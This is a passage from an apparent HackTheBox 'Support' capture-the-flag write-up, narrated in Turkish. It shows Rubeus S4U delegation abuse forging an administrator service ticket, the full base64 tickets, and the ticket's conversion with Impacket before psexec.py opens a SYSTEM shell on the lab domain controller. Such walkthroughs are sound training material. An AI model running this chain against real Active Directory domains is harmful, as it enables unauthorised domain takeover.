6B1g6yr6D9aQo8xMP3qd3oyt4QslVlgqp+GBxh+cjWYv/rU6OFnGdtEa0xxLH/C1raCUXR6Rf1bEKn+t
o49wwMt6qun7jcE3ugx/T09vU5Uwowit/X+qq3ePO3FDhxjPWHApbOW7wTU3f/kLo4fD6RGPaheYWOba
BP88mxKCRhUy1hUtZ+kjamRCJD9QHXAj8RIoIrNMaEkpWI0Z7qw4RHwgPdY9vAqff1qkAhp5r5w+QC9y
Y5JQx/gzruHzHXqYe7D1vADY1oiEQG7jsrbwY/i9I+qKn5BCFv7DXvjHpxWPKN/ndQnTnBbLwQb6ebh0
CkH6GO4pDi7CpYVxdESomq3INLsrljYZuCafnJSqriyxw9d1ijpEosqzm6vLPbceDj41LVEquCkkaVsM
pPdHPDGu0ojm+XmLaJGeSe2kNvoRd4htT9zux07Q/Mj8OF/gRxaQOEppIxh4YAKftSvWuU5jzzBtp9aq
Ji+amwKGy5YfgrLPgIcWNMw93nZlcPBvM87WPFWuZ0vZq9eLwEa8+0rjnWAs2K7/kLWl0rYlt7fhSwcg
lLKZn8OnFYHPLh2TcC6sXvxp6QGBj26CDZItT1iGukoG7EQ1poHRFRcsSPQyrRko5Z7naJy68tIZNu48
H7mwyIdSySElDF1uTzq+IxB89wRZEKLw/0RXtOWD0M6RRDIhI0wrVv63PCwozFB+ieeLo4HcMIHZoAMC
AQCigdEEgc59gcswgciggcUwgcIwgb+gGzAZoAMCARehEgQQ1yZNKdbgtnM3PxOJKOgHv6ENGwtTVVBQ
T1JULkhUQqIeMBygAwIBAaEVMBMbETB4ZGZGYWtlQ29tcHV0ZXIkowcDBQBA4QAApREYDzIwMjIwNTI3
MTkzODE3WqYRGA8yMDIyMDUyODA1MzgxN1qnERgPMjAyMjA2MDMxOTM4MTdaqA0bC1NVUFBPUlQuSFRC
qSAwHqADAgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0Yg==
[*] Action: S4U
[*] Using domain controller: dc.support.htb (fe80::4995:178:63d7:93c1%6)
[*] Building S4U2self request for: '0xdfFakeComputer$@SUPPORT.HTB'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator' to '0xdfFakeComputer$@SUPPORT.HTB'
[*] base64(ticket.kirbi):
doIFtjCCBbKgAwIBBaEDAgEWooIEyzCCBMdhggTDMIIEv6ADAgEFoQ0bC1NVUFBPUlQuSFRCoh4wHKAD
AgEBoRUwExsRMHhkZkZha2VDb21wdXRlciSjggSHMIIEg6ADAgEXoQMCAQGiggR1BIIEcZ6UqORuDjTI
ovz9MkcGwxl8rVEyAFKXAVPrmN+iR2r8sUCOBmZS/ytvLBy6XGsg0GalPlL0IcINTxVrQbP1icxnroBo
eLTqv3H901wMy7wS8cUgDBF54mAVlbucFvRq5TvGA+csHNjAV4b8RWhHbXlDkMRXZfTVmaQimnOzH103
UvTuGuXKext8Z0STVMasbHm9FzP9vFL0d55G6vUO4nw29h4AoQ2o4Pi9+5Xm0zFnZaCx0yRYa8RFbBB6
dcTEioS0aN1bnHG2WfuWVmJ6876loH+lV1oP8Rc9z9cN1lsSAEkDEK05RGBXbb6sWNNHPFVUDkcpcSg1
Gg5NM5AI7jfgHSkRuuVe8dSrc5wD9KADcsaRSqL2zE9ykF691m/m8Lnj//dNWbx5HZ0UVQL3LKKXt9lP
/HAPrZAVQ7WDGmTs1k+sdGOtkvmBrIpzqaqC53o2mOCezjxfBlT5SsgXu/M9bZa1PR9QAN6WuKW+/XUN
asQzZ0PHY1CvkJQ3/w8LLJEl6X60vFK7WoOLPLa40pBfX/RnWakWB/FzF0ht5z4valdoo3LgMfxUtcVu
LMARwoUSNJD5aOT1xRk10BYkSDtbqtx1VZGjCMjyDf+7Czqog1GIotk+GoCk3yt2lCCFpW/jp+zSmQMN
8iAviSrrJHc4MaMa81EzDoB6Gj2ZMWowKL1Dv/ByE8XbSjd6rhWwVIhPBjaCKQCtI6qVoyfGnUmrHRt8
oCtumbkyBahCJQ6tnSp3k8dyVAu9fPx968jNOSzVq+XGttjCt/U8Z0FNFsHcpIIQDP6Z5619aYemNvWh
XG0q194XhH4xeSfcEfV0gFV4ppAjWgaQEXCfwp4j7HuC1DujEvk5co/2unh9TeNtKXkEd3ji+RwUXAd7
YHlqh3QJiA2OXe2bm742HtNJOMVkNHB5Fg5wtcvVororI+2IzYQudpQy8sWzVHyEoUpEbTnZGMQL45nb
TwSK1aSg71d5Bzr6Y5NB/ipmhYP45lA2hRci7RZAOn/tt7T6yhTjQsn1/RfC9XPax/vpzBYI5d5HFAO5
4BBcA7mMXQHJ0XOkOIHo87AeLyW8UjshDgw6sjeebtAWxXjjuvUqNOkfuxXAAvP4OZIs4qA1hRp+jZj8
KlrRqDqiqCmAD1Li7SGDMgUA8OlX+7leb/ZouUX4/edRVqZDLvT/nxmHN8BzQipvq/YkkEAwIdvisvR9
JBCr248djlp7ZsZRGWKaNLlkB2o6pfqOZwx3wNrKjz44/HR51tYx7qaiRnuhAt0Xeyf5OK1Y6HYk/Xev
VzKUoCcVoZQS8cYWNRlanlE4kdhKl40us2bny8GIEvKoDnt0NYWr5WaUohi7gK0g9sw29FfgqSDOnU7q
x2QUkLlT0x3ZeqwwTIS+odRAUh+4SP+dDf/ip77FSRM+krPERNZoE9W0QAhPGPHf3C/3mxt8MnESZJ+I
TL3dYzFTDXjg7OWb3MJ/cNziBCpQX726jeHuey6+iuUhPWJEu72qWdQRjoW09eBqhaOB1jCB06ADAgEA
ooHLBIHIfYHFMIHCoIG/MIG8MIG5oBswGaADAgEXoRIEEFgqzBwaCN/nUkRZaYlagIShDRsLU1VQUE9S
VC5IVEKiGjAYoAMCAQqhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjIwNTI3MTkzODE3
WqYRGA8yMDIyMDUyODA1MzgxN1qnERgPMjAyMjA2MDMxOTM4MTdaqA0bC1NVUFBPUlQuSFRCqR4wHKAD
AgEBoRUwExsRMHhkZkZha2VDb21wdXRlciQ=
[*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb'
[*] Using domain controller: dc.support.htb (fe80::4995:178:63d7:93c1%6)
[*] Building S4U2proxy request for service: 'cifs/dc.support.htb'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':
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
[+] Ticket successfully imported!
Use Ticket
Fails
Teorik olarak, bu ticket'ı şu anda kullanabilmeliyim. Rubeus bu session'da ticket'ı gösterir:
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe klist
...[snip]...
Action: List Kerberos Tickets (Current User)
[*] Current LUID : 0x65f382
UserName : support
Domain : SUPPORT
LogonId : 0x65f382
UserSID : S-1-5-21-1677581083-3380853377-188903654-1105
AuthenticationPackage : NTLM
LogonType : Network
LogonTime : 5/27/2022 12:15:24 PM
LogonServer : DC
LogonServerDNSDomain : support.htb
UserPrincipalName : support@support.htb
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 5/27/2022 12:38:17 PM ; 5/27/2022 10:38:17 PM ; 6/3/2022
12:38:17 PM
Server Name : cifs/dc.support.htb @ SUPPORT.HTB
Client Name : administrator @ SUPPORT.HTB
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable,
forwardable (40a50000)
Benim için işe yaramıyor.
Remote Use
Rubeus 'un oluşturduğu son ticket'ı alıp makineme kopyalayacağım ve ticket.kirbi.b64
olarak kaydedip tüm boşlukları kaldırdığımdan emin olacağım. Bunu base64 kod çözme ile
ticket.kirbi 'ye dönüştüreceğim:
$ base64 -d ticket.kirbi.b64 > ticket.kirbi
Şimdi Impact'in kullanabileceği bir formata dönüştürmem gerekiyor:
$ ticketConverter.py ticket.kirbi ticket.ccache
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation
[*] converting kirbi to ccache...
[+] done
Bunu psexec.py kullanarak bir shell elde etmek için kullanabilirim:
$ KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-
pass
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on dc.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file aXlgPfYK.exe
[*] Opening SVCManager on dc.support.htb.....
[*] Creating service lyPY on dc.support.htb.....
[*] Starting service lyPY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.405]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>